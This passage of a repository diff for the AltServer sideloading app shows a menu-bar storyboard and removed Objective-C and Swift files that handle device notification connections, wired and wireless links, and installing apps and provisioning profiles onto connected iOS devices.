<secureTextFieldCell key="cell" scrollable="YES" lineBreakMode="clipping" selectable="YES" editable="YES" sendsActionOnEndEditing="YES" borderStyle="bezel" placeholderString="Password" drawsBackground="YES" usesSingleLineMode="YES" id="xqJ-wt-DlP">
<font key="font" metaFont="system"/>
<color key="textColor" name="controlTextColor" catalog="System" colorSpace="catalog"/>
<color key="backgroundColor" name="textBackgroundColor" catalog="System" colorSpace="catalog"/>
<allowedInputSourceLocales>
<string>NSAllRomanInputSourcesLocaleIdentifier</string>
</allowedInputSourceLocales>
</secureTextFieldCell>
<connections>
<outlet property="delegate" destination="Voe-Tx-rLC" id="qav-xj-izy"/>
</connections>
</secureTextField>
</subviews>
<constraints>
<constraint firstItem="9rp-Vx-rvB" firstAttribute="width" secondItem="urc-xw-Dhc" secondAttribute="width" id="Eht-pU-Gyh"/>
<constraint firstItem="zLd-d8-ghZ" firstAttribute="width" secondItem="urc-xw-Dhc" secondAttribute="width" id="mg7-Kq-abL"/>
<constraint firstAttribute="width" constant="300" id="zqf-x6-BET"/>
</constraints>
<visibilityPriorities>
<integer value="1000"/>
<integer value="1000"/>
</visibilityPriorities>
<customSpacing>
<real value="3.4028234663852886e+38"/>
<real value="3.4028234663852886e+38"/>
</customSpacing>
</stackView>
<customObject id="Ady-hI-5gd" userLabel="First Responder" customClass="NSResponder" sceneMemberID="firstResponder"/>
<customObject id="Voe-Tx-rLC" customClass="AppDelegate" customModule="AltServer" customModuleProvider="target">
<connections>
<outlet property="appMenu" destination="uQy-DD-JDr" id="7cY-Ov-AOW"/>
<outlet property="authenticationAppleIDTextField" destination="zLd-d8-ghZ" id="wW5-0J-zdq"/>
<outlet property="authenticationPasswordTextField" destination="9rp-Vx-rvB" id="ZoC-DI-jzQ"/>
<outlet property="connectedDevicesMenu" destination="KJ9-WY-pW1" id="Mcv-64-iFU"/>
<outlet property="installMailPluginMenuItem" destination="3CM-gV-X2G" id="lio-ha-z0S"/>
<outlet property="launchAtLoginMenuItem" destination="IyR-FQ-upe" id="Fxn-EP-hwH"/>
<outlet property="sideloadIPAConnectedDevicesMenu" destination="IuI-bV-fTY" id="QQw-St-HfG"/>
</connections>
</customObject>
<customObject id="Arf-IC-5eb" customClass="SUUpdater"/>
<application id="hnw-xV-0zn" sceneMemberID="viewController">
<menu key="mainMenu" title="Main Menu" systemMenu="main" id="AYu-sK-qS6">
<items>
<menuItem title="AltServer" id="1Xt-HY-uBw">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="AltServer" systemMenu="apple" id="uQy-DD-JDr">
<items>
<menuItem title="About AltServer" id="5kV-Vb-QxS">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="orderFrontStandardAboutPanel:" target="Ady-hI-5gd" id="Exp-CZ-Vem"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="wFC-TO-SCJ"/>
<menuItem title="Install AltStore" id="MJ8-Lt-SSV">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Install AltStore" systemMenu="recentDocuments" id="KJ9-WY-pW1">
<items>
<menuItem title="No Connected Devices" id="N5N-3K-XuR">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="clearRecentDocuments:" target="Ady-hI-5gd" id="DKG-yI-Ujv"/>
</connections>
</menuItem>
</items>
<connections>
<outlet property="delegate" destination="Voe-Tx-rLC" id="VYb-BL-Zri"/>
</connections>
</menu>
</menuItem>
<menuItem title="Sideload .ipa" id="x0e-zI-0A2" userLabel="Install .ipa">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Sideload .ipa" systemMenu="recentDocuments" id="IuI-bV-fTY">
<items>
<menuItem title="No Connected Devices" id="in5-an-MD0">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="clearRecentDocuments:" target="Ady-hI-5gd" id="aUE-On-axK"/>
</connections>
</menuItem>
</items>
<connections>
<outlet property="delegate" destination="Voe-Tx-rLC" id="N3K-su-XV6"/>
</connections>
</menu>
</menuItem>
<menuItem isSeparatorItem="YES" id="1ZZ-BB-xHy"/>
<menuItem title="Launch at Login" id="IyR-FQ-upe" userLabel="Launch At Login">
<modifierMask key="keyEquivalentModifierMask"/>
</menuItem>
<menuItem title="Install Mail Plug-in" id="3CM-gV-X2G" userLabel="Mail Plug-in">
<modifierMask key="keyEquivalentModifierMask"/>
</menuItem>
<menuItem isSeparatorItem="YES" id="mVM-Nm-Zi9"/>
<menuItem title="Check for Updates..." id="Tnq-gD-Eic" userLabel="Check for Updates">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="checkForUpdates:" target="Arf-IC-5eb" id="7JG-du-nr4"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="hmG-xg-qgm"/>
<menuItem title="Quit AltServer" keyEquivalent="q" id="4sb-4s-VLi">
<connections>
<action selector="terminate:" target="Ady-hI-5gd" id="Te7-pn-YzF"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Edit" id="5QF-Oa-p0T">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Edit" id="W48-6f-4Dl">
<items>
<menuItem title="Undo" keyEquivalent="z" id="dRJ-4n-Yzg">
<connections>
<action selector="undo:" target="Ady-hI-5gd" id="M6e-cu-g7V"/>
</connections>
</menuItem>
<menuItem title="Redo" keyEquivalent="Z" id="6dh-zS-Vam">
<connections>
<action selector="redo:" target="Ady-hI-5gd" id="oIA-Rs-6OD"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="WRV-NI-Exz"/>
<menuItem title="Cut" keyEquivalent="x" id="uRl-iY-unG">
<connections>
<action selector="cut:" target="Ady-hI-5gd" id="YJe-68-I9s"/>
</connections>
</menuItem>
<menuItem title="Copy" keyEquivalent="c" id="x3v-GG-iWU">
<connections>
<action selector="copy:" target="Ady-hI-5gd" id="G1f-GL-Joy"/>
</connections>
</menuItem>
<menuItem title="Paste" keyEquivalent="v" id="gVA-U4-sdL">
<connections>
<action selector="paste:" target="Ady-hI-5gd" id="UvS-8e-Qdg"/>
</connections>
</menuItem>
<menuItem title="Paste and Match Style" keyEquivalent="V" id="WeT-3V-zwk">
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
<connections>
<action selector="pasteAsPlainText:" target="Ady-hI-5gd" id="cEh-KX-wJQ"/>
</connections>
</menuItem>
<menuItem title="Delete" id="pa3-QI-u2k">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="delete:" target="Ady-hI-5gd" id="0Mk-Ml-PaM"/>
</connections>
</menuItem>
<menuItem title="Select All" keyEquivalent="a" id="Ruw-6m-B2m">
<connections>
<action selector="selectAll:" target="Ady-hI-5gd" id="VNm-Mi-diN"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="uyl-h8-XO2"/>
<menuItem title="Find" id="4EN-yA-p0u">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Find" id="1b7-l0-nxx">
<items>
<menuItem title="Find…" tag="1" keyEquivalent="f" id="Xz5-n4-O0W">
<connections>
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="cD7-Qs-BN4"/>
</connections>
</menuItem>
<menuItem title="Find and Replace…" tag="12" keyEquivalent="f" id="YEy-JH-Tfz">
<modifierMask key="keyEquivalentModifierMask" option="YES" command="YES"/>
<connections>
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="WD3-Gg-5AJ"/>
</connections>
</menuItem>
<menuItem title="Find Next" tag="2" keyEquivalent="g" id="q09-fT-Sye">
<connections>
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="NDo-RZ-v9R"/>
</connections>
</menuItem>
<menuItem title="Find Previous" tag="3" keyEquivalent="G" id="OwM-mh-QMV">
<connections>
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="HOh-sY-3ay"/>
</connections>
</menuItem>
<menuItem title="Use Selection for Find" tag="7" keyEquivalent="e" id="buJ-ug-pKt">
<connections>
<action selector="performFindPanelAction:" target="Ady-hI-5gd" id="U76-nv-p5D"/>
</connections>
</menuItem>
<menuItem title="Jump to Selection" keyEquivalent="j" id="S0p-oC-mLd">
<connections>
<action selector="centerSelectionInVisibleArea:" target="Ady-hI-5gd" id="IOG-6D-g5B"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Spelling and Grammar" id="Dv1-io-Yv7">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Spelling" id="3IN-sU-3Bg">
<items>
<menuItem title="Show Spelling and Grammar" keyEquivalent=":" id="HFo-cy-zxI">
<connections>
<action selector="showGuessPanel:" target="Ady-hI-5gd" id="vFj-Ks-hy3"/>
</connections>
</menuItem>
<menuItem title="Check Document Now" keyEquivalent=";" id="hz2-CU-CR7">
<connections>
<action selector="checkSpelling:" target="Ady-hI-5gd" id="fz7-VC-reM"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="bNw-od-mp5"/>
<menuItem title="Check Spelling While Typing" id="rbD-Rh-wIN">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleContinuousSpellChecking:" target="Ady-hI-5gd" id="7w6-Qz-0kB"/>
</connections>
</menuItem>
<menuItem title="Check Grammar With Spelling" id="mK6-2p-4JG">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleGrammarChecking:" target="Ady-hI-5gd" id="muD-Qn-j4w"/>
</connections>
</menuItem>
<menuItem title="Correct Spelling Automatically" id="78Y-hA-62v">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticSpellingCorrection:" target="Ady-hI-5gd" id="2lM-Qi-WAP"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Substitutions" id="9ic-FL-obx">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Substitutions" id="FeM-D8-WVr">
<items>
<menuItem title="Show Substitutions" id="z6F-FW-3nz">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="orderFrontSubstitutionsPanel:" target="Ady-hI-5gd" id="oku-mr-iSq"/>
</connections>
</menuItem>
<menuItem isSeparatorItem="YES" id="gPx-C9-uUO"/>
<menuItem title="Smart Copy/Paste" id="9yt-4B-nSM">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleSmartInsertDelete:" target="Ady-hI-5gd" id="3IJ-Se-DZD"/>
</connections>
</menuItem>
<menuItem title="Smart Quotes" id="hQb-2v-fYv">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticQuoteSubstitution:" target="Ady-hI-5gd" id="ptq-xd-QOA"/>
</connections>
</menuItem>
<menuItem title="Smart Dashes" id="rgM-f4-ycn">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticDashSubstitution:" target="Ady-hI-5gd" id="oCt-pO-9gS"/>
</connections>
</menuItem>
<menuItem title="Smart Links" id="cwL-P1-jid">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticLinkDetection:" target="Ady-hI-5gd" id="Gip-E3-Fov"/>
</connections>
</menuItem>
<menuItem title="Data Detectors" id="tRr-pd-1PS">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticDataDetection:" target="Ady-hI-5gd" id="R1I-Nq-Kbl"/>
</connections>
</menuItem>
<menuItem title="Text Replacement" id="HFQ-gK-NFA">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="toggleAutomaticTextReplacement:" target="Ady-hI-5gd" id="DvP-Fe-Py6"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Transformations" id="2oI-Rn-ZJC">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Transformations" id="c8a-y6-VQd">
<items>
<menuItem title="Make Upper Case" id="vmV-6d-7jI">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="uppercaseWord:" target="Ady-hI-5gd" id="sPh-Tk-edu"/>
</connections>
</menuItem>
<menuItem title="Make Lower Case" id="d9M-CD-aMd">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="lowercaseWord:" target="Ady-hI-5gd" id="iUZ-b5-hil"/>
</connections>
</menuItem>
<menuItem title="Capitalize" id="UEZ-Bs-lqG">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="capitalizeWord:" target="Ady-hI-5gd" id="26H-TL-nsh"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Speech" id="xrE-MZ-jX0">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Speech" id="3rS-ZA-NoH">
<items>
<menuItem title="Start Speaking" id="Ynk-f8-cLZ">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="startSpeaking:" target="Ady-hI-5gd" id="654-Ng-kyl"/>
</connections>
</menuItem>
<menuItem title="Stop Speaking" id="Oyz-dy-DGm">
<modifierMask key="keyEquivalentModifierMask"/>
<connections>
<action selector="stopSpeaking:" target="Ady-hI-5gd" id="dX8-6p-jy9"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
</items>
</menu>
</menuItem>
<menuItem title="Help" id="wpr-3q-Mcd">
<modifierMask key="keyEquivalentModifierMask"/>
<menu key="submenu" title="Help" systemMenu="help" id="F2S-fz-NVQ">
<items>
<menuItem title="AltServer Help" keyEquivalent="?" id="FKE-Sm-Kum">
<connections>
<action selector="showHelp:" target="Ady-hI-5gd" id="y7X-2Q-9no"/>
</connections>
</menuItem>
</items>
</menu>
</menuItem>
</items>
</menu>
<connections>
<outlet property="delegate" destination="Voe-Tx-rLC" id="PrD-fu-P6m"/>
</connections>
</application>
</objects>
<point key="canvasLocation" x="75" y="0.0"/>
</scene>
</scenes>
</document>

View File

@@ -1,24 +0,0 @@
//
// ALTNotificationConnection+Private.h
// AltServer
//
// Created by Riley Testut on 1/10/20.
// Copyright © 2020 Riley Testut. All rights reserved.
//
#import "ALTNotificationConnection.h"
#include <libimobiledevice/libimobiledevice.h>
#include <libimobiledevice/notification_proxy.h>
NS_ASSUME_NONNULL_BEGIN
@interface ALTNotificationConnection ()
@property (nonatomic, readonly) np_client_t client;
- (instancetype)initWithDevice:(ALTDevice *)device client:(np_client_t)client;
@end
NS_ASSUME_NONNULL_END

View File

@@ -1,30 +0,0 @@
//
// ALTNotificationConnection.h
// AltServer
//
// Created by Riley Testut on 1/10/20.
// Copyright © 2020 Riley Testut. All rights reserved.
//
#import "AltSign.h"
NS_ASSUME_NONNULL_BEGIN
NS_SWIFT_NAME(NotificationConnection)
@interface ALTNotificationConnection : NSObject
@property (nonatomic, copy, readonly) ALTDevice *device;
@property (nonatomic, copy, nullable) void (^receivedNotificationHandler)(CFNotificationName notification);
- (void)startListeningForNotifications:(NSArray<NSString *> *)notifications
completionHandler:(void (^)(BOOL success, NSError *_Nullable error))completionHandler;
- (void)sendNotification:(CFNotificationName)notification
completionHandler:(void (^)(BOOL success, NSError *_Nullable error))completionHandler;
- (void)disconnect;
@end
NS_ASSUME_NONNULL_END

View File

@@ -1,94 +0,0 @@
//
// ALTNotificationConnection.m
// AltServer
//
// Created by Riley Testut on 1/10/20.
// Copyright © 2020 Riley Testut. All rights reserved.
//
#import "ALTNotificationConnection+Private.h"
#import "NSError+ALTServerError.h"
void ALTDeviceReceivedNotification(const char *notification, void *user_data);
@implementation ALTNotificationConnection
- (instancetype)initWithDevice:(ALTDevice *)device client:(np_client_t)client
{
self = [super init];
if (self)
{
_device = [device copy];
_client = client;
}
return self;
}
- (void)dealloc
{
[self disconnect];
}
- (void)disconnect
{
np_client_free(self.client);
_client = nil;
}
- (void)startListeningForNotifications:(NSArray<NSString *> *)notifications completionHandler:(void (^)(BOOL, NSError * _Nullable))completionHandler
{
dispatch_async(dispatch_get_global_queue(QOS_CLASS_UTILITY, 0), ^{
const char **notificationNames = (const char **)malloc((notifications.count + 1) * sizeof(char *));
for (int i = 0; i < notifications.count; i++)
{
NSString *name = notifications[i];
notificationNames[i] = name.UTF8String;
}
notificationNames[notifications.count] = NULL; // Must have terminating NULL entry.
np_error_t result = np_observe_notifications(self.client, notificationNames);
if (result != NP_E_SUCCESS)
{
return completionHandler(NO, [NSError errorWithDomain:AltServerErrorDomain code:ALTServerErrorLostConnection userInfo:nil]);
}
result = np_set_notify_callback(self.client, ALTDeviceReceivedNotification, (__bridge void *)self);
if (result != NP_E_SUCCESS)
{
return completionHandler(NO, [NSError errorWithDomain:AltServerErrorDomain code:ALTServerErrorLostConnection userInfo:nil]);
}
completionHandler(YES, nil);
free(notificationNames);
});
}
- (void)sendNotification:(CFNotificationName)notification completionHandler:(void (^)(BOOL, NSError * _Nullable))completionHandler
{
dispatch_async(dispatch_get_global_queue(QOS_CLASS_UTILITY, 0), ^{
np_error_t result = np_post_notification(self.client, [(__bridge NSString *)notification UTF8String]);
if (result == NP_E_SUCCESS)
{
completionHandler(YES, nil);
}
else
{
completionHandler(NO, [NSError errorWithDomain:AltServerErrorDomain code:ALTServerErrorLostConnection userInfo:nil]);
}
});
}
@end
void ALTDeviceReceivedNotification(const char *notification, void *user_data)
{
ALTNotificationConnection *connection = (__bridge ALTNotificationConnection *)user_data;
if (connection.receivedNotificationHandler)
{
connection.receivedNotificationHandler((__bridge CFNotificationName)@(notification));
}
}

View File

@@ -1,25 +0,0 @@
//
// ALTWiredConnection+Private.h
// AltServer
//
// Created by Riley Testut on 1/10/20.
// Copyright © 2020 Riley Testut. All rights reserved.
//
#import "ALTWiredConnection.h"
#include <libimobiledevice/libimobiledevice.h>
NS_ASSUME_NONNULL_BEGIN
@interface ALTWiredConnection ()
@property (nonatomic, readwrite, getter=isConnected) BOOL connected;
@property (nonatomic, readonly) idevice_connection_t connection;
- (instancetype)initWithDevice:(ALTDevice *)device connection:(idevice_connection_t)connection;
@end
NS_ASSUME_NONNULL_END

View File

@@ -1,29 +0,0 @@
//
// ALTWiredConnection.h
// AltServer
//
// Created by Riley Testut on 1/10/20.
// Copyright © 2020 Riley Testut. All rights reserved.
//
#import "AltSign.h"
#import "ALTConnection.h"
NS_ASSUME_NONNULL_BEGIN
NS_SWIFT_NAME(WiredConnection)
@interface ALTWiredConnection : NSObject <ALTConnection>
@property (nonatomic, readonly, getter=isConnected) BOOL connected;
@property (nonatomic, copy, readonly) ALTDevice *device;
- (void)sendData:(NSData *)data completionHandler:(void (^)(BOOL, NSError * _Nullable))completionHandler;
- (void)receiveDataWithExpectedSize:(NSInteger)expectedSize completionHandler:(void (^)(NSData * _Nullable, NSError * _Nullable))completionHandler;
- (void)disconnect;
@end
NS_ASSUME_NONNULL_END

View File

@@ -1,117 +0,0 @@
//
// ALTWiredConnection.m
// AltServer
//
// Created by Riley Testut on 1/10/20.
// Copyright © 2020 Riley Testut. All rights reserved.
//
#import "ALTWiredConnection+Private.h"
#import "ALTConnection.h"
#import "NSError+ALTServerError.h"
@implementation ALTWiredConnection
- (instancetype)initWithDevice:(ALTDevice *)device connection:(idevice_connection_t)connection
{
self = [super init];
if (self)
{
_device = [device copy];
_connection = connection;
}
return self;
}
- (void)dealloc
{
[self disconnect];
}
- (void)disconnect
{
if (![self isConnected])
{
return;
}
idevice_disconnect(self.connection);
_connection = nil;
self.connected = NO;
}
- (void)sendData:(NSData *)data completionHandler:(void (^)(BOOL, NSError * _Nullable))completionHandler
{
void (^finish)(NSError *error) = ^(NSError *error) {
if (error != nil)
{
NSLog(@"Send Error: %@", error);
completionHandler(NO, error);
}
else
{
completionHandler(YES, nil);
}
};
dispatch_async(dispatch_get_global_queue(QOS_CLASS_UTILITY, 0), ^{
NSMutableData *mutableData = [data mutableCopy];
while (mutableData.length > 0)
{
uint32_t sentBytes = 0;
if (idevice_connection_send(self.connection, (const char *)mutableData.bytes, (int32_t)mutableData.length, &sentBytes) != IDEVICE_E_SUCCESS)
{
return finish([NSError errorWithDomain:AltServerErrorDomain code:ALTServerErrorLostConnection userInfo:nil]);
}
[mutableData replaceBytesInRange:NSMakeRange(0, sentBytes) withBytes:NULL length:0];
}
finish(nil);
});
}
- (void)receiveDataWithExpectedSize:(NSInteger)expectedSize completionHandler:(void (^)(NSData * _Nullable, NSError * _Nullable))completionHandler
{
void (^finish)(NSData *data, NSError *error) = ^(NSData *data, NSError *error) {
if (error != nil)
{
NSLog(@"Receive Data Error: %@", error);
}
completionHandler(data, error);
};
dispatch_async(dispatch_get_global_queue(QOS_CLASS_UTILITY, 0), ^{
char bytes[4096];
NSMutableData *receivedData = [NSMutableData dataWithCapacity:expectedSize];
while (receivedData.length < expectedSize)
{
uint32_t size = MIN(4096, (uint32_t)expectedSize - (uint32_t)receivedData.length);
uint32_t receivedBytes = 0;
if (idevice_connection_receive_timeout(self.connection, bytes, size, &receivedBytes, 10000) != IDEVICE_E_SUCCESS)
{
return finish(nil, [NSError errorWithDomain:AltServerErrorDomain code:ALTServerErrorLostConnection userInfo:nil]);
}
NSData *data = [NSData dataWithBytesNoCopy:bytes length:receivedBytes freeWhenDone:NO];
[receivedData appendData:data];
}
finish(receivedData, nil);
});
}
#pragma mark - NSObject -
- (NSString *)description
{
return [NSString stringWithFormat:@"%@ (Wired)", self.device.name];
}
@end

View File

@@ -1,218 +0,0 @@
//
// RequestHandler.swift
// AltServer
//
// Created by Riley Testut on 5/23/19.
// Copyright © 2019 Riley Testut. All rights reserved.
//
import Foundation
typealias ServerConnectionManager = ConnectionManager<ServerRequestHandler>
private let connectionManager = ConnectionManager(requestHandler: ServerRequestHandler(),
connectionHandlers: [WirelessConnectionHandler(), WiredConnectionHandler()])
extension ServerConnectionManager
{
static var shared: ConnectionManager {
return connectionManager
}
}
struct ServerRequestHandler: RequestHandler
{
func handleAnisetteDataRequest(_ request: AnisetteDataRequest, for connection: Connection, completionHandler: @escaping (Result<AnisetteDataResponse, Error>) -> Void)
{
AnisetteDataManager.shared.requestAnisetteData { (result) in
switch result
{
case .failure(let error): completionHandler(.failure(error))
case .success(let anisetteData):
let response = AnisetteDataResponse(anisetteData: anisetteData)
completionHandler(.success(response))
}
}
}
func handlePrepareAppRequest(_ request: PrepareAppRequest, for connection: Connection, completionHandler: @escaping (Result<InstallationProgressResponse, Error>) -> Void)
{
var temporaryURL: URL?
func finish(_ result: Result<InstallationProgressResponse, Error>)
{
if let temporaryURL = temporaryURL
{
do { try FileManager.default.removeItem(at: temporaryURL) }
catch { print("Failed to remove .ipa.", error) }
}
completionHandler(result)
}
self.receiveApp(for: request, from: connection) { (result) in
print("Received app with result:", result)
switch result
{
case .failure(let error): finish(.failure(error))
case .success(let fileURL):
temporaryURL = fileURL
print("Awaiting begin installation request...")
connection.receiveRequest() { (result) in
print("Received begin installation request with result:", result)
switch result
{
case .failure(let error): finish(.failure(error))
case .success(.beginInstallation(let installRequest)):
print("Installing app to device \(request.udid)...")
self.installApp(at: fileURL, toDeviceWithUDID: request.udid, activeProvisioningProfiles: installRequest.activeProfiles, connection: connection) { (result) in
print("Installed app to device with result:", result)
switch result
{
case .failure(let error): finish(.failure(error))
case .success:
let response = InstallationProgressResponse(progress: 1.0)
finish(.success(response))
}
}
case .success: finish(.failure(ALTServerError(.unknownRequest)))
}
}
}
}
}
func handleInstallProvisioningProfilesRequest(_ request: InstallProvisioningProfilesRequest, for connection: Connection,
completionHandler: @escaping (Result<InstallProvisioningProfilesResponse, Error>) -> Void)
{
ALTDeviceManager.shared.installProvisioningProfiles(request.provisioningProfiles, toDeviceWithUDID: request.udid, activeProvisioningProfiles: request.activeProfiles) { (success, error) in
if let error = error, !success
{
print("Failed to install profiles \(request.provisioningProfiles.map { $0.bundleIdentifier }):", error)
completionHandler(.failure(ALTServerError(error)))
}
else
{
print("Installed profiles:", request.provisioningProfiles.map { $0.bundleIdentifier })
let response = InstallProvisioningProfilesResponse()
completionHandler(.success(response))
}
}
}
func handleRemoveProvisioningProfilesRequest(_ request: RemoveProvisioningProfilesRequest, for connection: Connection,
completionHandler: @escaping (Result<RemoveProvisioningProfilesResponse, Error>) -> Void)
{
ALTDeviceManager.shared.removeProvisioningProfiles(forBundleIdentifiers: request.bundleIdentifiers, fromDeviceWithUDID: request.udid) { (success, error) in
if let error = error, !success
{
print("Failed to remove profiles \(request.bundleIdentifiers):", error)
completionHandler(.failure(ALTServerError(error)))
}
else
{
print("Removed profiles:", request.bundleIdentifiers)
let response = RemoveProvisioningProfilesResponse()
completionHandler(.success(response))
}
}
}
func handleRemoveAppRequest(_ request: RemoveAppRequest, for connection: Connection, completionHandler: @escaping (Result<RemoveAppResponse, Error>) -> Void)
{
ALTDeviceManager.shared.removeApp(forBundleIdentifier: request.bundleIdentifier, fromDeviceWithUDID: request.udid) { (success, error) in
if let error = error, !success
{
print("Failed to remove app \(request.bundleIdentifier):", error)
completionHandler(.failure(ALTServerError(error)))
}
else
{
print("Removed app:", request.bundleIdentifier)
let response = RemoveAppResponse()
completionHandler(.success(response))
}
}
}
}
private extension RequestHandler
{
func receiveApp(for request: PrepareAppRequest, from connection: Connection, completionHandler: @escaping (Result<URL, ALTServerError>) -> Void)
{
connection.receiveData(expectedSize: request.contentSize) { (result) in
do
{
print("Received app data!")
let data = try result.get()
guard ALTDeviceManager.shared.availableDevices.contains(where: { $0.identifier == request.udid }) else { throw ALTServerError(.deviceNotFound) }
print("Writing app data...")
let temporaryURL = FileManager.default.temporaryDirectory.appendingPathComponent(UUID().uuidString + ".ipa")
try data.write(to: temporaryURL, options: .atomic)
print("Wrote app to URL:", temporaryURL)
completionHandler(.success(temporaryURL))
}
catch
{
print("Error processing app data:", error)
completionHandler(.failure(ALTServerError(error)))
}
}
}
func installApp(at fileURL: URL, toDeviceWithUDID udid: String, activeProvisioningProfiles: Set<String>?, connection: Connection, completionHandler: @escaping (Result<Void, ALTServerError>) -> Void)
{
let serialQueue = DispatchQueue(label: "com.altstore.ConnectionManager.installQueue", qos: .default)
var isSending = false
var observation: NSKeyValueObservation?
let progress = ALTDeviceManager.shared.installApp(at: fileURL, toDeviceWithUDID: udid, activeProvisioningProfiles: activeProvisioningProfiles) { (success, error) in
print("Installed app with result:", error == nil ? "Success" : error!.localizedDescription)
if let error = error.map({ ALTServerError($0) })
{
completionHandler(.failure(error))
}
else
{
completionHandler(.success(()))
}
observation?.invalidate()
observation = nil
}
observation = progress.observe(\.fractionCompleted, changeHandler: { (progress, change) in
serialQueue.async {
guard !isSending else { return }
isSending = true
print("Progress:", progress.fractionCompleted)
let response = InstallationProgressResponse(progress: progress.fractionCompleted)
connection.send(response) { (result) in
serialQueue.async {
isSending = false
}
}
}
})
}
}

View File

@@ -1,115 +0,0 @@
//
// WiredConnectionHandler.swift
// AltServer
//
// Created by Riley Testut on 6/1/20.
// Copyright © 2020 Riley Testut. All rights reserved.
//
import Foundation
class WiredConnectionHandler: ConnectionHandler
{
var connectionHandler: ((Connection) -> Void)?
var disconnectionHandler: ((Connection) -> Void)?
private var notificationConnections = [ALTDevice: NotificationConnection]()
func startListening()
{
NotificationCenter.default.addObserver(self, selector: #selector(WiredConnectionHandler.deviceDidConnect(_:)), name: .deviceManagerDeviceDidConnect, object: nil)
NotificationCenter.default.addObserver(self, selector: #selector(WiredConnectionHandler.deviceDidDisconnect(_:)), name: .deviceManagerDeviceDidDisconnect, object: nil)
}
func stopListening()
{
NotificationCenter.default.removeObserver(self, name: .deviceManagerDeviceDidConnect, object: nil)
NotificationCenter.default.removeObserver(self, name: .deviceManagerDeviceDidDisconnect, object: nil)
}
}
private extension WiredConnectionHandler
{
func startNotificationConnection(to device: ALTDevice)
{
ALTDeviceManager.shared.startNotificationConnection(to: device) { (connection, error) in
guard let connection = connection else { return }
let notifications: [CFNotificationName] = [.wiredServerConnectionAvailableRequest, .wiredServerConnectionStartRequest]
connection.startListening(forNotifications: notifications.map { String($0.rawValue) }) { (success, error) in
guard success else { return }
connection.receivedNotificationHandler = { [weak self, weak connection] (notification) in
guard let self = self, let connection = connection else { return }
self.handle(notification, for: connection)
}
self.notificationConnections[device] = connection
}
}
}
func stopNotificationConnection(to device: ALTDevice)
{
guard let connection = self.notificationConnections[device] else { return }
connection.disconnect()
self.notificationConnections[device] = nil
}
func handle(_ notification: CFNotificationName, for connection: NotificationConnection)
{
switch notification
{
case .wiredServerConnectionAvailableRequest:
connection.sendNotification(.wiredServerConnectionAvailableResponse) { (success, error) in
if let error = error, !success
{
print("Error sending wired server connection response.", error)
}
else
{
print("Sent wired server connection available response!")
}
}
case .wiredServerConnectionStartRequest:
ALTDeviceManager.shared.startWiredConnection(to: connection.device) { (wiredConnection, error) in
if let wiredConnection = wiredConnection
{
print("Started wired server connection!")
self.connectionHandler?(wiredConnection)
var observation: NSKeyValueObservation?
observation = wiredConnection.observe(\.isConnected) { [weak self] (connection, change) in
guard !connection.isConnected else { return }
self?.disconnectionHandler?(connection)
observation?.invalidate()
}
}
else if let error = error
{
print("Error starting wired server connection.", error)
}
}
default: break
}
}
}
private extension WiredConnectionHandler
{
@objc func deviceDidConnect(_ notification: Notification)
{
guard let device = notification.object as? ALTDevice else { return }
self.startNotificationConnection(to: device)
}
@objc func deviceDidDisconnect(_ notification: Notification)
{
guard let device = notification.object as? ALTDevice else { return }
self.stopNotificationConnection(to: device)
}
}

View File

@@ -1,148 +0,0 @@
//
// WirelessConnectionHandler.swift
// AltKit
//
// Created by Riley Testut on 6/1/20.
// Copyright © 2020 Riley Testut. All rights reserved.
//
import Foundation
import Network
extension WirelessConnectionHandler
{
public enum State
{
case notRunning
case connecting
case running(NWListener.Service)
case failed(Swift.Error)
}
}
public class WirelessConnectionHandler: ConnectionHandler
{
public var connectionHandler: ((Connection) -> Void)?
